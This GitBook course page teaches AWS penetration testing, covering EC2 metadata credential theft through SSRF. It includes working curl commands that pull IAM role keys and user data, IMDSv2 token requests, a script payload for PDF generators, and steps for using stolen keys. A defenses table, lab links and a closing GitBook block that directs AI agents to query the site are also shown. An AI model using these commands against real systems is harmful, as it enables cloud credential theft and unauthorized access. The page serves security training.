> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/03-ec2-ssrf.md).

# Module 03 — EC2 Metadata Service & SSRF Attacks

## 🎯 What You'll Learn

* What the EC2 Instance Metadata Service (IMDS) is
* How SSRF vulnerabilities lead to credential theft
* How to exploit IMDSv1 vs IMDSv2
* How to use stolen instance credentials to pivot

***

## 📖 Theory

Every EC2 instance has access to a **local metadata endpoint** at:

```
http://169.254.169.254
```

This endpoint exposes:

* Instance details (AMI, region, instance ID)
* IAM role credentials (Access Key, Secret, Session Token)
* User data (often contains secrets passed at launch)

**IMDSv1** (vulnerable): No authentication, any process on the instance can access it — including via SSRF.

**IMDSv2** (patched): Requires a PUT request to get a session token first. Harder to exploit via SSRF.

***

## 🔍 Phase 1 — Enumerate Metadata (Direct Access)

If you have shell access to an EC2 instance:

```bash
# What instance is this?
curl http://169.254.169.254/latest/meta-data/

# Get instance ID
curl http://169.254.169.254/latest/meta-data/instance-id

# Get region
curl http://169.254.169.254/latest/meta-data/placement/region

# What IAM role is attached?
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get the actual credentials (replace ROLE-NAME with the output above)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Get user-data (often has bootstrap secrets)
curl http://169.254.169.254/latest/user-data
```

The credentials endpoint returns:

```json
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-01T00:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "xxxx...",
  "Token" : "IQoJ...",
  "Expiration" : "2024-01-01T06:00:00Z"
}
```

***

## 💥 Phase 2 — SSRF Exploitation

### What is SSRF?

Server-Side Request Forgery: you trick a web server into making a request to an internal URL — like the metadata endpoint.

### Testing for SSRF

```
# Look for parameters that fetch URLs:
?url=https://example.com
?image=https://cdn.example.com/pic.jpg
?redirect=https://example.com
?proxy=https://api.example.com

# Try pointing them at the metadata endpoint:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

### SSRF via common vulnerabilities

**PDF generators:**

```
# Submit a form that creates a PDF — inject metadata URL in content
<script>document.write(new XMLHttpRequest().response)</script>
```

**Image fetchers:**

```
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
```

**Webhooks:**

```
# Point a webhook callback to your Burp collaborator, then try SSRF
```

***

## 💥 Phase 3 — IMDSv2 Bypass Attempts

IMDSv2 requires a token:

```bash
# Get token (requires PUT)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Use token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

**SSRF bypass for IMDSv2:** Some SSRF contexts support custom headers — if you can set `X-aws-ec2-metadata-token-ttl-seconds`, you may still exploit it. Most basic SSRF can't do this, which is why IMDSv2 is a strong defense.

***

## 🔑 Phase 4 — Use Stolen Credentials

Once you have the keys:

```bash
# Configure the stolen credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=xxxx...
export AWS_SESSION_TOKEN=IQoJ...

# Check identity
aws sts get-caller-identity

# Enumerate what this role can do
python3 enumerate-iam.py \
  --access-key $AWS_ACCESS_KEY_ID \
  --secret-key $AWS_SECRET_ACCESS_KEY \
  --session-token $AWS_SESSION_TOKEN \
  --region us-east-1

# Try common actions
aws s3 ls
aws ec2 describe-instances
aws iam list-roles
aws secretsmanager list-secrets
```

***

## 🔍 Phase 5 — Check for EKS/Container Metadata

```bash
# ECS task metadata
curl http://169.254.170.2/v2/credentials/<UUID>

# EKS pod identity (newer)
# Check the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env variable
curl "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

# Kubernetes service account token (may have OIDC access to AWS)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

***

## 🛡️ Defenses

| Attack                        | Defense                                             |
| ----------------------------- | --------------------------------------------------- |
| IMDSv1 SSRF                   | Enforce IMDSv2 on all instances                     |
| Metadata access from SSRF     | Block 169.254.169.254 in WAF/network rules          |
| Overprivileged instance roles | Use least-privilege IAM roles per instance          |
| Long-lived instance creds     | Credentials rotate automatically; monitor for usage |

***

## 🧪 Practice Lab

* [flaws.cloud Level 5](http://level5-d2891f604d2d8afe3130acfaa89-flaws.cloud) — SSRF via proxy
* CloudGoat: `ec2_ssrf`

```bash
./cloudgoat.py create ec2_ssrf
```

***

## 📎 References

* [HackTricks SSRF AWS](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-ec2-attack)
* [PortSwigger SSRF](https://portswigger.net/web-security/ssrf)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/03-ec2-ssrf.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
